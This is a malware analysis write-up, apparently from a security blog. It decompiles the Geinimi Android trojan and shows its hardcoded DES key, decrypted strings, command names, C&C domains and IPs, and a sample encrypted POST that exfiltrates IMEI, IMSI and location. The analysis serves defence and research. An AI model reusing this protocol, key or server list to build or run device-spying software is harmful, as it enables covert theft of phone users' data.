Inside Geinimi Android Trojan. Chapter One: Encrypted data and communication

Last week a new trojan affecting Android phones has been discovered. Called Geinimi, the trojan is hidden into other existing apps.

At the moment, it has been detected only in third-party Chinese app markets and Google Android Market does not seem to be compromised.

The main difference between Geinimi and previously discovered Android Trojans is the potential to communicate with a remote C&C server.

On the first chapter we will analyze how to obtain some encrypted data that the trojan hides as well as the communication with the C&C server.

As we did in the previous analysis of Trojan-SMS.AndroidOS.FakePlayer.a we'll use the android-apktool to obtain the app resources:

opensourcesim:~# apktool d MonkeyJump2.0.apk
I: Baksmaling...
I: Loading resource table...
I: Decoding resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Copying assets and libs...


Be sure you use some case-sensitive filesystem because baskmali will crash with a case-insensitive filesystem (ofuscation??)

jaime:Downloads jaimeblasco$ apktool d MonkeyJump2.0.apk
I: Baksmaling...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
    at brut.androlib.Androlib.decodeSourcesSmali(Unknown Source)
    at brut.androlib.ApkDecoder.decode(Unknown Source)
    at brut.apktool.Main.cmdDecode(Unknown Source)
    at brut.apktool.Main.main(Unknown Source)
Caused by: brut.androlib.AndrolibException: File already exists: MonkeyJump2.0/smali/com/dseffects/MonkeyJump2/jump2/A.smali
    at brut.androlib.src.SmaliDecoder.decodeClassDefItem(Unknown Source)
    at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
    at brut.androlib.src.SmaliDecoder.decode(Unknown Source)
    ... 4 more

Once we have the decoded resources we can find the crypto functions in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali:

.method public static b([B)[B
    .locals 3
    const-string v0, "DES"
    :try_start_0
    new-instance v0, Ljavax/crypto/spec/DESKeySpec;
    sget-object v1, Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B
    invoke-direct {v0, v1}, Ljavax/crypto/spec/DESKeySpec;->([B)V
    const-string v1, "DES"
    invoke-static {v1}, Ljavax/crypto/SecretKeyFactory;->getInstance(Ljava/lang/String;)Ljavax/crypto/SecretKeyFactory;
    move-result-object v1
    invoke-virtual {v1, v0}, Ljavax/crypto/SecretKeyFactory;->generateSecret(Ljava/security/spec/KeySpec;)Ljavax/crypto/SecretKey;
    move-result-object v0
    const-string v1, "DES"
    invoke-static {v1}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
    move-result-object v1
    const/4 v2, 0x1
    invoke-virtual {v1, v2, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
    invoke-virtual {v1, p0}, Ljavax/crypto/Cipher;->doFinal([B)[B
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
    move-result-object v0
    :goto_0
    return-object v0
    :catch_0
    move-exception v0
    const/4 v0, 0x0
    goto :goto_0

If we follow the function call Lcom/dseffects/MonkeyJump2/jump2/e/k;->b:[B (./smali/com/dseffects/MonkeyJump2/jump2/e/k.smali) and take a look at the routines:

    .array-data 0x1
        0x1t
        0x2t
        0x3t
        0x4t
        0x5t
        0x6t
        0x7t
        0x8t
    .end array-data


We obtain the default DES key used by the trojan. With the key, we find several arrays defined in ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali that are passed to the decryption function in runtime, example:

    :array_0
    .array-data 0x1
        0x55t
        0x35t
        0x2t
        0x34t
        0x86t
        0x64t
        0x21t
        0x53t
        0x1dt
        0x21t
        0x3dt
        0x3at
        0xd0t
        0xaft
        0xb6t
        0x57t
    .end array-data

Here you can download a python script to parse the arrays and print the decrypted data, the ouput is the following:

python decrypt.py ./smali/com/dseffects/MonkeyJump2/jump2/e/p.smali
debug_internel
debug_outer
_value@
http://180.168.68.34:8080/android/getAdXml.do


contactlist
smsrecord
deviceinfo
location
sms
register
call
PostUrl
TicketerText
TitleText
ContextText
ShowMode
call://
email://
map://
sms://
search://
install://
shortcut://
contact://
wallpaper://
bookmark://
http://
toast://
startapp://
.zip
tel://
smsto:
geo:
CmdID
AdID
I
D
content://sms/inbox
content://sms/sent
com.android.launcher.action.INSTALL_SHORTCUT
method=post&IMEI=
&IMSI=
&AdID=
&CPID=
&PTID=
&SALESID=
&msgType=
imei=
&imsi=
&sms=
&type=send
&latitude=
&longitude=
&type=receive
&phone=
&MODEL=%s&BOARD=%s&BRAND=%s&CPU_ABI=%s&DEVICE=%s&DISPLAY=%s&FINGERPRINT=%s&HOST=%s&ID=%s&MANUFACTURER=%s
&PRODUCT=%s&TAGS=%s&TIME=%s&TYPE=%s&USER=%s&SoftwareVersion=%s&Line1Number=%s&NetworkCountryIso=%s
&NetworkOperator=%s&NetworkOperatorName=%s&NetworkType=%s&PhoneType=%s&SimCountryIso=%s&SimOperator=%s
&SimOperatorName=%s&SimSerialNumber=%s&SimState=%s&SubscriberId=%s&VoiceMailNumber=%s&CPID=%s
&PTID=%s&SALESID=%s&DID=%s&sdkver=%s&autosdkver=%s&shell=%s
suggestsms://
silentsms://
method=postlink&IMEI=
&FeatureTag=
text://
method=show&IMEI=
suggestsms
skiptime
changefrequency
&DID=
&sdkver=
&autosdkver=
IMEI
IMSI
CPID
PTID
SALESID
DID
sdkver
autosdkver
latitude
longitude
???????nim?????tom?????????ybo
&applist=
applist
updatehost
www.widifu.com:8080;www.udaore.com:8080;www.frijd.com:8080;www.islpast.com:8080;www.piajesj.com:8080
;www.qoewsl.com:8080;www.weolir.com:8080;www.uisoa.com:8080;www.riusdu.com:8080;www.aiucr.com:8080;117.135.134.185:8080
install
uninstall
showurl
cmd cp
cmd pm
cmd rm
/data/
shell
cmd
kill
start
android.provider.Telephony.SMS_RECEIVED
@@smskey(
@@kill@(
smskiller
content://sms/conversations/


As we can see, the author took the trouble to hide the stored data that contains for example the C&C domains:

www.widifu.com:8080;
www.udaore.com:8080;
www.frijd.com:8080;
www.islpast.com:8080;
www.piajesj.com:8080;
www.qoewsl.com:8080;
www.weolir.com:8080;
www.uisoa.com:8080;
www.riusdu.com:8080;
www.aiucr.com:8080;
117.135.134.185:8080

If we do a static analysis of the trojan we observe http connections to these servers at five minute intervals. Example communication:

POST /getAdXml.do HTTP/1.1
User-Agent: Dalvik/1.1.0 (...)
Host: 117.135.134.185:8080
Accept: *, */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 295

params=113a080016d3838bd9864d760e82d73375da7fa36b5cee41f2abfdd9d0e04c3b9aaf93bf06ed0490e670b4ab4bce6ec9a131f8d368d6a0
99325da2742677388e569a08f1ae2507d0f2abfdd9d0e04c3bf77f7339d5b56855b58a6e3c30c4f07b3f7c0347e2a498ab8619d53210630
f7ec73056aebc1ae56e3fef18cbf35d11c14c372859361c628de3953343b5860f9aHTTP/1.1

We can find all the communication functions on /smali/com/dseffects/MonkeyJump2/jump2/e/n.smali.

If we take a look to the code, we realize that the "params" content is encrypted with the same DES key used to hide the previous data. So if we decrypt the data we obtain:

PTID=33050001&IMEI=000000000000000&sdkver=10.7&SALESID=0006&IMSI=310260000000000&longitude=0.0&latitude=0.0&DID=2001&autosdkver=10.7&CPID=3305

As we can see the trojan is sending personal data (device identifiers; IMEI, IMSI, coordinates...).

In the next chapter we will continue analyzing other advance trojan capabilities. I hope you liked it and happy new hunting year.


Liên hệ DNA

 

Mobile  +84 (28) 38 266 877
  +84 (28) 39 401 619

 

Location  DNA Headquarter
  60 Nguyễn Đình Chiểu

  F1 Rosana Tower, Quận 1
         TP.Hồ Chí Minh, Việt Nam